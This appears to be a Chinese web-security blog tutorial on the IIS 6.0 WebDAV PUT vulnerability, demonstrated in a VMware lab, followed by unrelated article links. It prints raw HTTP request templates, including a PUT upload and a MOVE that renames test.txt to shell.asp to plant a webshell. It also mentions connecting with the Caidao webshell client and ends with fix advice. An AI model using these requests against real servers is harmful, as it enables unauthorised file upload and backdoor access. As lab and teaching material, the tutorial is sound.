0x00 IIS简介

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。

最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。

IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器.

分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

0x01 Put漏洞造成原因

IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。

0x02 实验环境搭建

1:安装VMware

2:安装WIN2003

3:配置网络连接

4:安装IIS6.0(64bit)

VMware虚拟机选择的网络是.NET模式,或者桥接模式也可以!但前提必须让2003和物理机相互Ping通才可以!

有时候互相Ping不通可能是防火墙的原因,可以把防火墙关闭就可以Ping通了

在这里我的物理机IP:192.168.1.100

WIN2003虚拟机的IP:192.168.119.133

然后配置完IIS后我们用物理机访问WIN2003的IP看看能不能打开网页:

访问:http://192.168.119.133/



上面说明是可以访问到网站的。(一切就绪)

0x03 需要用到的工具

这里不借助这个工具也是可行的,熟悉了这些请求方式的格式之后,就可以通过burp抓包,改数据也行。

当然也可以利用这个工具:IIS写权限的利用 - 桂林老兵:https://www.arpun.com/soft/13406.html

(PS:不建议下载到本机吼~)

0x04 IIS-PUT漏洞演示实战

首先来到Internet信息服务(IIS)管理器 - Web服务扩展:

我们把WebDAV设置为允许、然后网站主目录下设置可写入权限:

这个时候就有可能照成任意文件上传,我们来先来发送一个OPTIONS请求:

options 请求属于浏览器的预检请求,查看服务器是否接受请求,预检通过后,浏览器才会去发 get, post, put, delete 等请求。

可以看到服务器可以使用PUT、DELETE、MOVE等敏感请求方式,那么我们来试试用PUT写一个文件:

发现成功上传了txt文件。(这里如果无法上传的话,有可能是多重原因,网站目录权限不够或者没有在文件名前面加上/)

那我们再上传脚本文件asp试试:

这个时候就不行了,但是我们可以通过MOVE请求方式,并利用刚刚上传上去的test.txt文件做些改动:

这里就可以看到,我们通过先前上传的test.txt,借助MOVE给他更改了后缀名,那看看里面的内容有没有发生变化:

文件内容并没有发生任何变化,这里的MOVE协议是不可以更改文件内容的。

总结一下,只要能够上传恶意的txt文件,同时借助MOVE请求方式就可以生成恶意连接后门。

从新上传一个恶意txt,尝试连接菜刀,完全没问题的。

0x05 常见请求协议

GET:

GET /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Cookie: iscookies=0;

DELETE:

DELETE /test.txt HTTP/1.1
Host: 192.168.101.100

PUT:

PUT /test.txt HTTP/1.1
Host: 192.168.101.100
Content-Length: 17 this is a test

POST:

POST /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Content-Length: 5
Cookie: iscookies=0; this is a test

MOVE:

MOVE /test.txt HTTP/1.1
Host: 192.168.101.100
Destination: http://192.168.101.100/shell.asp

0x06 漏洞修复建议

1:关闭WebDAV

2:关闭写入权限

[WEB安全]IIS-PUT漏洞的更多相关文章

  1. Web Server (IIS) Administration Cmdlets in Windows PowerShell

    https://technet.microsoft.com/en-us/library/ee790599.aspx Web Server (IIS) Administration Cmdlets in ...

  2. Web 服务器 (IIS) 角色

    原文:Web 服务器 (IIS) 角色 1. 对于默认安装,请在命令行提示符下键入以下命令,然后按 Enter: start /w pkgmgr /iu:IIS-WebServerRole;WAS-W ...

  3. 基于Web的IIS管理工具

    Servant:基于Web的IIS管理工具   Servant for IIS是个管理IIS的简单.自动化的Web管理工具.安装Servant的过程很简单,只要双击批处理文件Install Serva ...

  4. web端常见安全漏洞测试结果分析-- appscan

    基于appscan测试结果分析: 一.XSS跨站脚本 指的是攻击者往Web页面里插入恶意html代码,通常是JavaScript编写的恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被 ...

  5. VS2017 无法连接到Web服务器“IIS Express”终极解决方案

    今天日了gou了,一大早打开VS2017的时候出现无法连接到Web服务器"IIS Express"的错误,然后必应了一下,再谷歌了一下找到的解决方法也都千篇一律,奈何都没能解决,最 ...

  6. ArcServer10.1系列产品之ArcGIS Web Adaptor (IIS)

    1.关于 ArcGIS Web Adaptor 通过 ArcGIS Web Adaptor,可以将 ArcGIS for Server 与您现有的 Web 服务器进行集成.ArcGIS Web Ada ...

  7. Visual Studio 2017 无法连接到Web服务器"IIS Express"

    .net core2.2 无法连接到Web服务器"IIS Express" 解决方案: 用命令提示符输入以下命令 sc config http start= auto 重启计算机, ...

  8. 通过混合编程分析的方法和机器学习预测Web应用程序的漏洞

    通过混合编程分析的方法和机器学习预测Web应用程序的漏洞 由于时间和资源的限制,web软件工程师需要支持识别出有漏洞的代码.一个实用的方法用来预测漏洞代码可以提高他们安全审计的工作效率.在这篇文章中, ...

  9. Unable to connect to web server 'IIS Express'(无法连接到Web服务器“IIS Express”)的解决方式-Jexus Manager

    在运行微软示例工程eShopOnWeb时候, 在经过一段时间再运行启动报Error "Unable to connect to web server 'IIS Express'"  ...

  10. web前后端分离漏洞分析防御

    web前后端分离漏洞分析防御 漏洞分析,主要漏洞有 一.跨站脚本攻击XSS 程序 + 数据 = 结果:攻击后,数据夹杂一部分程序(执行代码),导致结果改变: 1.XSS攻击注入点 (a):HTML节点 ...

随机推荐

  1. 通透理解viewport

    摘自:https://blog.csdn.net/u014787301/article/details/44466697 在移动设备上进行网页的重构或开发,首先得搞明白的就是移动设备上的viewpor ...

  2. .NET 对文件和文件夹操作的介绍

    1 Directory和File类只包含静态方法,不能被实例化 2 DirectoryInfo和FileInfo他们是有状态的,需要被实例化 //构造函数初始化一个文件的路径 FileInfo myF ...

  3. Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)

    书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结,如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过 ...

  4. SVM-支持向量机总结

    一.SVM简介 (一)Support Vector Machine 支持向量机(SVM:Support Vector Machine)是机器学习中常见的一种分类算法. 线性分类器,也可以叫做感知机,其 ...

  5. linux7 上安装mongodb4.2.1操作步骤

    MongoDB是一个通用的.基于文档的分布式数据库,它是为现代应用程序开发人员和云时代而构建的.没有数据库能让你更有效率. 1.下载需要的软件包https://www.mongodb.com/down ...

  6. Windows如何打开/关闭 服务

    先右键Windows主菜单,点击计算机管理: 点击服务和应用程序: 点击服务:

  7. unittest 运行slenium(三)---通过数据驱动形式运行用例

    一: 获取数据 获取用例所在位置,通过OpenExcelPandas来读取用例里面的全部数据.通过某个列名来创建新的序号. 并将结果转换成list类型,将其作为ddt数据的来源. 1.  在test文 ...

  8. 2. 软件有很多种,也有各种分类办法: ShrinkWrap (在包装盒子里面的软件,软件在CD/DVD上); Web APP (基于网页的软件); Internal Software (企业或学校或某组织内部的软件); Games (游戏); Mobile Apps (手机应用); Operating Systems (操作系统); Tools

     选取对你最相关的一类软件,  请回答:(web app)  1) 此类软件是什么时候开始出现的, 这些软件是怎么说服你(陌生人)成为他们的用户的?  他们的目标都是盈利么?  他们的目标都是赚取用户 ...

  9. 链表实现队列(python)

    # -*- coding: utf-8 -*- from collections import deque class Node(object): def __init__(self, value=N ...

  10. 2.1 node.js和npm的安装

    1.淘宝镜像 2.通过node运行js文件 3. 通过npm安装最新的npm版本 npm install -g npm(cnpm同):npm list查看安装的模块